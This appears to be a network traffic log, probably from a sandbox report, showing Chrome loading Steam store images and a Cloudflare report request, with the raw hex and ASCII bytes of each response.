2024-10-06 12:08:25 UTC	391	OUT	GET /public/images//v6/temp/cluster_bg_2.png HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 12:08:25 UTC	271	IN	HTTP/1.1 200 OK Server: nginx Content-Type: image/png Content-Length: 144661 Last-Modified: Fri, 05 Jan 2018 22:32:03 GMT ETag: "5a4ffce3-23515" Strict-Transport-Security: max-age=300 Accept-Ranges: bytes Date: Sun, 06 Oct 2024 12:08:25 GMT Connection: close
2024-10-06 12:08:25 UTC	16113	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 04 21 00 00 01 f4 08 06 00 00 00 03 b9 37 c5 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 22 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 33 2d 63 30 31 31 20 36 36 2e 31 34 35 36 36 31 2c 20 32 30 31 32 2f 30 32 2f 30 36 2d 31 34 3a 35 36 3a 32 37 20 20 Data Ascii: PNGIHDR!7tEXtSoftwareAdobe ImageReadyqe<"iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27
2024-10-06 12:08:25 UTC	16384	IN	Data Raw: 9e aa a0 da dc 30 ae e7 f1 28 c0 72 f5 cc 28 2d 0e d9 6b 15 75 70 34 6d 98 91 1d d5 fd 1c ec 45 88 50 71 00 10 59 ca 49 75 cd 2c e5 65 14 40 41 9d cf 83 80 4b 24 7e 59 11 18 19 e1 d5 49 b1 08 61 bd 0d d3 23 68 2a c0 ae 68 37 54 4e 7c 46 ac 46 31 8f 43 b0 1d 16 6d 37 00 51 91 69 4d 38 21 fb 0c 3c 93 ba 1f 98 f1 68 d7 19 9f 26 04 82 0a e9 b2 84 e0 ff 29 da 2b 77 ec e7 4a 65 13 b6 a7 dc 55 0d 21 c4 b1 56 fd d7 57 12 03 4a 1a c6 57 af a2 d1 d1 17 72 61 8e 6f 12 62 b7 6f 45 3c 28 20 14 4d 18 54 43 5d 09 c9 47 13 f6 15 8b 8d 2a 2c 65 c0 11 60 ce 63 dc 30 66 2b 36 de 0c e4 b2 d3 4d 14 aa 7e 25 c2 44 e9 27 06 24 66 ea b7 33 92 49 71 44 2a 82 8d 69 19 64 00 f5 38 81 53 03 a0 1d 39 fc 4c cb 62 a6 2f 99 46 07 3a a1 fc 05 40 03 00 bd 2b 42 68 01 c0 78 65 df 15 b9 83 Data Ascii: 0(r(-kup4mEPqYIu,e@AK$~YIa#hh7TN\|FF1Cm7QiM8!<h&)+wJeU!VWJWraoboE<( MTC]G,e`c0f+6M~%D'$f3IqD*id8S9Lb/F:@+Bhxe
2024-10-06 12:08:25 UTC	2220	IN	Data Raw: 74 10 80 6b 05 81 56 e9 2a a0 74 2f 46 be 3d 93 49 e7 b0 7f d4 57 67 3b 7e 58 1d 52 ed c6 d3 20 86 f0 b9 8c 10 aa c8 62 65 fe 18 00 18 59 94 01 d3 7f 1a c6 2b 1f a1 35 bc ea bb f3 9e f1 20 c4 53 45 76 56 91 72 61 38 1a 6a 58 9d ca f4 20 fe 54 95 96 52 91 d0 28 3a c0 0b 32 94 81 b5 30 5e 25 06 a5 4b 1a 19 f7 aa f4 68 00 9b ca f6 fa 61 7a c4 9e aa 67 90 f5 83 7a 82 9e f9 a9 ac ba 50 18 4e 9b 0b 40 16 b0 77 8d 62 8f 09 e0 07 57 d7 0f c3 1a 35 6c de ba e9 3a 68 9d 43 8f 8a 08 52 84 e6 bb 18 c8 2e 7e 67 26 8d 62 25 f1 70 15 f7 7d c9 f6 93 4b 74 56 65 a7 14 96 b6 5a a8 57 4f 18 6f bc 8b 59 1d e2 a7 a6 7d 54 21 e6 d5 64 09 61 33 9b 59 14 14 a6 f5 f9 39 0f e2 90 1a 20 4d 4c 20 54 2a 60 ca 00 7a f6 ac 4c f9 16 69 29 64 0b 7a 95 3e 30 c0 46 1c 60 23 c8 c2 b4 d9 c9 Data Ascii: tkVt/F=IWg;~XR beY+5 SEvVra8jX TR(:20^%KhazgzPN@wbW5l:hCR.~g&b%p}KtVeZWOoY}T!da3Y9 ML T`zLi)dz>0F`#
2024-10-06 12:08:25 UTC	16384	IN	Data Raw: 88 03 98 e2 07 8b b3 2e f6 2d 43 d2 8d b2 08 e3 80 bc 03 c7 69 dc 4e 01 62 40 bb 02 cc 82 24 77 84 d7 2e 0a 09 4c 53 44 11 8e 53 90 ff ee dd 2a f2 53 9d c7 17 21 30 7f 3d 8b 37 f2 88 5d 33 36 3b 4d 3c 4b e3 21 8e 08 9e 82 a4 1a f0 a3 12 ea cc 61 c2 b8 ae 13 d8 8d a6 34 f7 e4 ce de 21 ee 3d e5 2a 2e cf 73 e7 c4 93 0e 59 b6 a6 96 c9 f1 1d e9 e0 e2 c3 2e 70 cc 0e 39 95 c3 22 ee f7 9f 8e 76 4f f4 1d 0e 4f b0 58 72 bf 6b b0 e1 a7 04 c5 27 23 1d 4f ff ed bf 8d 85 f8 4f 1e c7 70 e2 80 ee 80 4f 55 e3 54 49 41 91 a0 3a 72 e2 89 c5 23 0a 56 b4 65 09 53 e5 28 01 fc 6d 18 e8 f4 2c 77 79 4f 8a a8 38 ab 75 ae e2 b3 45 20 5f 82 ed 77 09 1e 4b 24 9b c0 e3 c4 29 87 38 1c da ca ba eb 54 d8 81 d5 66 55 3b 96 58 9d f7 a0 aa ce f7 eb 78 e3 7f 45 ab de b7 ef be 04 f9 c0 9e 3f Data Ascii: .-CiNb@$w.LSDSS!0=7]36;M<K!a4!=.sY.p9"vOOXrk'#OOpOUTIA:r#VeS(m,wyO8uE _wK$)8TfU;XxE?
2024-10-06 12:08:25 UTC	16384	IN	Data Raw: 7c 90 13 1c 51 41 cc 25 7c 9f 10 11 4f 59 a1 5d 7e 77 ab a0 3a 3e fc ce 81 ac 2e db 58 30 21 b0 91 29 71 6e bd 87 97 d9 9c 4e bc c6 cd f4 31 5b 21 65 37 78 fe d9 22 d5 8b f3 80 61 ea c9 cb 54 42 46 38 b0 21 88 83 5d b0 c2 08 95 03 f7 0c 19 e0 bd 27 49 bb 08 98 aa 6d 74 16 c4 14 1b 65 01 b4 97 3c 9b a3 3d 47 46 86 a8 1a 30 2f 7a 57 89 b9 bb 7e 28 f0 98 98 71 c0 0b 5d a6 a4 78 06 b0 f4 6b c6 3d b5 d8 03 bc 7b 61 88 04 3a 59 90 c1 3c 5f 57 c5 41 b1 7e 93 05 d6 99 4c 9c 4e 2c 67 eb 7f 53 5d 1b 01 3c 02 9d ed e5 27 24 02 0c 61 9c da ef d9 75 2c 03 4a 93 fe 48 52 75 1f c8 e3 6c 00 77 ee 61 7f e7 46 39 60 c8 54 b5 47 52 85 53 ed 59 45 9e e1 88 69 4e fc ae 21 61 92 45 23 3b 57 36 72 87 dc 28 89 35 94 24 88 72 14 59 a1 a8 91 da 6e 93 26 53 d3 9d 98 e6 ac 53 0b f2 Data Ascii: \|QA%\|OY]~w:>.X0!)qnN1[!e7x"aTBF8!]'Imte<=GF0/zW~(q]xk={a:Y<_WA~LN,gS]<'$au,JHRulwaF9`TGRSYEiN!aE#;W6r(5$rYn&SS
2024-10-06 12:08:25 UTC	7952	IN	Data Raw: 77 0a 5b 09 39 a9 08 b9 69 f2 e6 81 7c 54 e8 cc d1 9c c5 a8 1b 39 aa 2a f9 ac 78 55 75 69 a9 ae 99 6a 7c f4 9e 83 3a 61 54 d5 29 b8 a0 bb 29 36 b4 fe 84 22 e0 95 90 38 3b d3 17 c1 38 d5 73 49 04 27 95 ce 53 85 21 96 89 f3 4e 47 a2 22 12 00 5e cc 03 f8 a8 4d aa 8b f3 5d 30 55 9d 72 2a c7 53 36 97 ae 98 d3 c1 99 20 a4 87 fa 3d 47 48 a2 49 d4 26 71 e9 97 df ff fa e5 15 e8 36 64 7c e6 cf 27 94 38 1d cb 94 88 3d ba eb 1b e1 ef aa d1 92 dd 7c 90 e9 66 4f ac 68 06 32 a1 9b 74 bd d5 75 4d c3 a0 3a 5b 38 75 08 0f 93 d8 aa 19 cb 05 2e 96 e8 9c 09 16 7c 85 98 01 f8 01 5d 01 62 0e 13 ec 5e 97 d9 db dd f5 64 7b e3 22 e4 d4 65 00 31 02 e0 be 8b cf 5b c7 e1 fd 75 fc fc 84 ae f6 9d 6d 80 af 22 01 5b e0 a2 82 55 4b a1 ab de 38 2d 95 27 ce 0e ce 1a b7 02 23 13 5a 68 2b 49 Data Ascii: w[9i\|T9xUuij\|:aT))6"8;8sI'S!NG"^M]0UrS6 =GHI&q6d\|'8=\|fOh2tuM:[8u.\|]b^d{"e1[um"[UK8-'#Zh+I
2024-10-06 12:08:25 UTC	16384	IN	Data Raw: 25 47 68 30 2b 55 46 d0 6d 41 3e 20 60 ff 07 ea ea 3e cc 21 38 05 a9 97 be 9f cc d1 45 1d ae 08 c0 96 4a 74 19 00 62 ef 94 da 27 40 d6 31 e2 66 fe 21 c0 9c 1b 5f 49 bc ec 9f 00 8f 84 e8 3e 5b 5b d3 83 b8 ab 96 9f fc 6f a5 19 a4 1c 5a 14 49 9c 8c 04 38 7f f7 44 8c 0f e6 9d 7a 97 b8 72 60 da 09 5d 6e 02 56 ce 77 34 75 34 62 44 03 db bf ee 7e 12 a1 d1 dd 88 f7 8e f0 d8 f8 a9 09 e3 f6 f7 d3 31 1f 05 2a 9d f0 a9 d3 96 e8 8c 9e 24 c4 b5 02 04 8a ac 52 9a 45 49 65 33 b1 b0 bc e7 02 0a b4 5c e0 63 11 3b 88 17 ea 1c 9b c8 ba aa cf f3 7a bd 49 4a b9 75 9b e2 5e 15 e8 63 f7 58 11 73 77 60 5b 39 44 5d d0 3a 74 67 3c f8 2e c4 bd 04 28 bf c0 bb 78 9d 60 7e 25 a2 09 d4 63 16 d5 3d 56 67 e4 32 39 d9 24 fb 50 ed 8d 0d ee 1a c2 f6 c4 34 7b fb fb fe aa ae d6 24 a6 54 ef e1 Data Ascii: %Gh0+UFmA> `>!8EJtb'@1f!_I>[[oZI8Dzr`]nVw4u4bD~1*$REIe3\c;zIJu^cXsw`[9D]:tg<.(x`~%c=Vg29$P4{$T
2024-10-06 12:08:25 UTC	16384	IN	Data Raw: 55 e7 cc 6e ee 3d 06 5c a6 21 0a 81 5a 63 e3 9d 18 97 ce c8 a6 49 61 4a ee 76 c1 d5 39 b6 32 cd 7d b0 24 33 01 a0 4f 47 2a 12 f7 0c 20 eb 2e 49 5a 93 3b d7 e5 e6 f4 93 91 82 e4 c0 fe 54 95 5d 25 c9 a9 15 72 2a 3a d8 05 82 e9 f7 74 73 82 df 45 2e 0c 71 36 23 f8 7b f7 33 6e 96 1e 26 81 ec dc 7b 6a c7 98 68 1e 74 41 fb 7e 63 df 24 fb 28 fd bc 11 c6 9c 1d 7e 67 3a a2 e7 48 99 27 96 f5 08 62 50 65 e3 e7 08 02 76 7e 56 cf e1 04 4f 6e 0c 24 21 8e 93 31 2d b5 c7 ce 4e e0 0e f9 bf a0 45 15 81 5c 54 d7 bd 6b 55 05 7e 82 5b fc b2 ce 06 26 de 9f 8c c3 01 bc f2 be 0f 90 7c 02 c4 ca 7d 83 91 21 83 e4 c3 5b ac 2b 8b a9 95 06 85 23 b4 9c b0 6c 95 8f 4d 41 be 57 dd 31 8c f0 3c 89 a8 a4 e3 33 71 99 61 16 ac 2c 17 1a c8 f4 1c d2 f3 30 21 db c5 f5 fc 8f 39 c6 fe 45 13 02 cd Data Ascii: Un=\!ZcIaJv92}$3OG* .IZ;T]%r*:tsE.q6#{3n&{jhtA~c$(~g:H'bPev~VOn$!1-NE\TkU~[&\|}![+#lMAW1<3qa,0!9E
2024-10-06 12:08:25 UTC	7952	IN	Data Raw: 40 de 4c df 28 50 5e f9 89 01 9d 02 a8 30 87 2b aa 9f f9 37 41 7c e5 11 54 2b 5c 13 c5 1e ab 80 2a 04 ee ca 4e f5 19 a0 ad 8a 01 b0 43 42 96 06 7f 04 ed 9d 10 0d 99 96 86 1a d3 47 32 c4 c1 6c ac 3d 59 e4 82 33 e6 15 26 d9 05 e6 6b c5 bb ae 7c 0e 16 55 8e 7f 71 ca 48 42 a9 28 67 e7 be 2a 45 44 e2 89 6e 80 81 4a 1c f2 6e 06 57 85 b0 b0 b6 86 e1 80 57 25 0c 2b 07 52 d5 b6 65 20 6e 14 5f ec 26 41 72 1c 34 5b 01 80 81 5c dc 52 01 e7 1d 3c 92 42 f5 db 36 00 e0 00 2f 19 34 5e 73 83 56 f3 ad 36 9d 2c b5 a4 27 cc 6b 24 a4 46 4b de 81 22 02 54 89 49 f6 b9 1d b9 d6 c5 a8 1d 02 31 76 94 f8 a4 aa 00 11 82 1c 53 64 06 7b 6f 01 af 52 02 4e cc 7f 46 24 74 e8 72 3e 30 36 91 99 36 cc 54 7d b8 53 e8 af 3d 69 ad fc 48 a2 24 1b 23 01 2f 45 ee bb 03 06 18 eb b0 53 1e 6e d9 b2 Data Ascii: @L(P^0+7A\|T+\NCBG2l=Y3&k\|UqHB(gEDnJnWW%+Re n_&Ar4[\R<B6/4^sV6,'k$FK"TI1vSd{oRNF$tr>066T}S=iH$#/ESn
2024-10-06 12:08:26 UTC	16384	IN	Data Raw: 27 aa 3a ee c0 7d 42 50 cb 96 2d fb 1a e0 7b 76 7e ff d4 68 89 cf 4e 31 74 09 91 80 af 65 70 66 9d 76 aa a4 41 e0 81 ca e7 62 d1 bd ea ef aa ca 44 33 f7 39 47 0b 22 f3 f9 d9 21 66 47 9e 3e 3f 96 11 ad fc bd 6e 80 eb 1d fc 00 20 04 a1 00 e8 14 6e 14 df 53 7a 0d 8a e0 98 c1 09 3d c1 ed 48 70 ee 78 68 dd 08 c6 61 f8 b0 8a ce fe ef 7b 2f 8f 44 51 b8 0b c5 4c 3d db 66 80 8c 59 46 cd 59 dc 9b c9 20 b2 72 9b 00 d7 88 60 e2 94 2a f5 62 8c 42 08 e4 15 1c d8 f5 43 b4 9b f5 e7 a8 fb 10 09 d0 ee a4 bf 8e 03 68 24 2f d8 00 cf c4 10 fb 81 a4 d8 8a fb 28 12 06 e0 39 56 1d 3c d2 83 6d ee 1d ef 6b 0f 8f 8b 59 47 5d 06 73 ec 67 25 48 b3 0b d0 d2 0d f6 33 c4 78 02 b9 96 9b a3 a8 c0 d4 ac d3 70 05 50 5f 39 71 70 ae fd 4c a7 ae e1 1c 69 b4 ec 6b 03 08 b7 b6 7b e6 30 54 c2 ca Data Ascii: ':}BP-{v~hN1tepfvAbD39G"!fG>?n nSz=Hpxha{/DQL=fYFY r`*bBCh$/(9V<mkYG]sg%H3xpP_9qpLik{0T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.5	49783	2.16.168.6	443	6480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:25 UTC	603	OUT	GET /public/shared/images/header/logo_steam.svg?t=962016 HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 12:08:25 UTC	241	IN	HTTP/1.1 200 OK Server: nginx Content-Type: image/svg+xml Last-Modified: Tue, 17 Nov 2020 23:33:19 GMT ETag: "5fb45dbf-e64" Access-Control-Allow-Origin: * Date: Sun, 06 Oct 2024 12:08:25 GMT Content-Length: 3684 Connection: close
2024-10-06 12:08:25 UTC	3684	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 21 2d 2d 20 47 65 6e 65 72 61 74 6f 72 3a 20 41 64 6f 62 65 20 49 6c 6c 75 73 74 72 61 74 6f 72 20 31 36 2e 30 2e 30 2c 20 53 56 47 20 45 78 70 6f 72 74 20 50 6c 75 67 2d 49 6e 20 2e 20 53 56 47 20 56 65 72 73 69 6f 6e 3a 20 36 2e 30 30 20 42 75 69 6c 64 20 30 29 20 20 2d 2d 3e 0d 0a 3c 21 44 4f 43 54 59 50 45 20 73 76 67 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 53 56 47 20 31 2e 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 47 72 61 70 68 69 63 73 2f 53 56 47 2f 31 2e 31 2f 44 54 44 2f 73 76 67 31 31 2e 64 74 64 22 3e 0d 0a 3c 73 76 67 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?>... Generator: Adobe Illustrator 16.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) --><!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg version="1.1"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.5	49786	2.19.126.97	443	6480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:25 UTC	409	OUT	GET /public/shared/images/responsive/header_menu_hamburger.png HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 12:08:25 UTC	267	IN	HTTP/1.1 200 OK Server: nginx Content-Type: image/png Content-Length: 3777 Last-Modified: Fri, 05 Jan 2018 22:31:56 GMT ETag: "5a4ffcdc-ec1" Strict-Transport-Security: max-age=300 Accept-Ranges: bytes Date: Sun, 06 Oct 2024 12:08:25 GMT Connection: close
2024-10-06 12:08:25 UTC	3777	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 f4 00 00 00 d4 08 06 00 00 00 ab 83 0e c8 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 0e 63 49 44 41 54 78 da ec dd 5f 4c 54 67 1a c7 f1 77 fe 69 d0 91 ba 10 0b 8a 8b ae cb 56 6d 6b 82 36 58 bb eb 9f 86 a6 b5 69 bb b2 46 db 8b 8a 7b e9 ae ed c5 5e b6 d9 5e 34 4d 7a d1 9b 9a 36 6d 6c 9a b4 6e 62 20 5d 12 b1 80 d6 88 65 bb 61 13 c5 ed da 76 a7 fe 29 ac a0 05 61 05 45 06 29 03 23 03 c3 3e ef 30 d0 33 67 06 4b 77 77 38 2f 93 ef 27 79 02 67 86 8b c9 f0 fc ce fb 9e 73 66 de e3 1a 1f 1f 57 00 32 83 9b b7 00 20 d0 00 08 34 00 02 0d 80 40 03 04 1a 00 81 06 40 a0 01 10 68 00 04 1a 20 d0 00 08 34 00 02 0d 80 40 03 20 d0 00 81 06 40 a0 01 Data Ascii: PNGIHDRtEXtSoftwareAdobe ImageReadyqe<cIDATx_LTgwiVmk6XiF{^^4Mz6mlnb ]eav)aE)#>03gKww8/'ygsfW2 4@@h 4@ @

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.5	49789	2.19.126.97	443	6480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:25 UTC	388	OUT	GET /public/images/v6/search_icon_btn.png HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 12:08:25 UTC	267	IN	HTTP/1.1 200 OK Server: nginx Content-Type: image/png Content-Length: 1816 Last-Modified: Fri, 05 Jan 2018 22:32:03 GMT ETag: "5a4ffce3-718" Strict-Transport-Security: max-age=300 Accept-Ranges: bytes Date: Sun, 06 Oct 2024 12:08:25 GMT Connection: close
2024-10-06 12:08:25 UTC	1816	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 19 00 00 00 19 08 06 00 00 00 c4 e9 85 63 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 22 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 33 2d 63 30 31 31 20 36 36 2e 31 34 35 36 36 31 2c 20 32 30 31 32 2f 30 32 2f 30 36 2d 31 34 3a 35 36 3a 32 37 20 20 Data Ascii: PNGIHDRctEXtSoftwareAdobe ImageReadyqe<"iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.5	49785	2.19.126.97	443	6480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:25 UTC	405	OUT	GET /public/shared/images/responsive/logo_valve_footer.png HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 12:08:25 UTC	267	IN	HTTP/1.1 200 OK Server: nginx Content-Type: image/png Content-Length: 1846 Last-Modified: Fri, 05 Jan 2018 22:31:56 GMT ETag: "5a4ffcdc-736" Strict-Transport-Security: max-age=300 Accept-Ranges: bytes Date: Sun, 06 Oct 2024 12:08:25 GMT Connection: close
2024-10-06 12:08:25 UTC	1846	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 5c 00 00 00 1a 08 06 00 00 00 3a ee 3b 29 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 10 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 33 2d 63 30 31 31 20 36 36 2e 31 34 35 36 36 31 2c 20 32 30 31 32 2f 30 32 2f 30 36 2d 31 34 3a 35 36 3a 32 37 20 20 Data Ascii: PNGIHDR\:;)tEXtSoftwareAdobe ImageReadyqe<iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.5	49787	2.19.126.97	443	6480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:25 UTC	399	OUT	GET /public/shared/images/responsive/header_logo.png HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 12:08:26 UTC	269	IN	HTTP/1.1 200 OK Server: nginx Content-Type: image/png Content-Length: 10863 Last-Modified: Fri, 05 Jan 2018 22:31:56 GMT ETag: "5a4ffcdc-2a6f" Strict-Transport-Security: max-age=300 Accept-Ranges: bytes Date: Sun, 06 Oct 2024 12:08:25 GMT Connection: close
2024-10-06 12:08:26 UTC	10863	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 e8 00 00 00 ab 08 06 00 00 00 34 09 69 7b 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c3 00 00 0e c3 01 c7 6f a8 64 00 00 29 ea 49 44 41 54 78 5e ed 9d 0d c8 7d 55 99 b7 9b 09 1a 1a 7c 19 68 70 28 1c 0c 25 31 12 a3 48 8a 44 51 12 c3 28 12 a5 48 12 c3 48 46 8a c4 48 92 a4 28 8c 42 31 92 86 a2 68 50 8c 42 31 1a 92 22 31 1a 8a 22 29 92 86 a4 28 94 22 99 18 49 12 22 99 78 07 e2 0d df fb 3a fb 39 f6 fc 8f fb 9c b3 d6 3e fb 63 ad bd af 0b 7e 9c bd 1f ff 3e 1f e7 63 ef df ba d7 fd f1 37 4f 3f fd f4 73 44 44 44 44 44 a4 0c fe f6 e8 51 44 44 44 44 44 0a c0 08 ba d4 c6 c9 a1 53 9b c3 15 67 86 4e 6a 0e 9f e1 a9 d0 af 9b c3 15 8f 87 9e Data Ascii: PNGIHDR4i{sRGBgAMAapHYsod)IDATx^}U\|hp(%1HDQ(HHFH(B1hPB1"1")("I"x:9>c~>c7O?sDDDDDQDDDDDSgNj

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.5	49792	35.190.80.1	443	6480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:25 UTC	488	OUT	POST /report/v4?s=GXm3Z2u9OX48XvtdVcGZUJ8V4uxwbrgSOmzzO3JKWSuZZirJzCyp3u%2BuHxmegxxhRSenosDiXgxKCQc0osM20UAj%2Fglzmdf4bWx2uBjiI4WXDdzYgDcUDu7jixG2ZcuSKfKi%2Fu5o7A%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 482 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
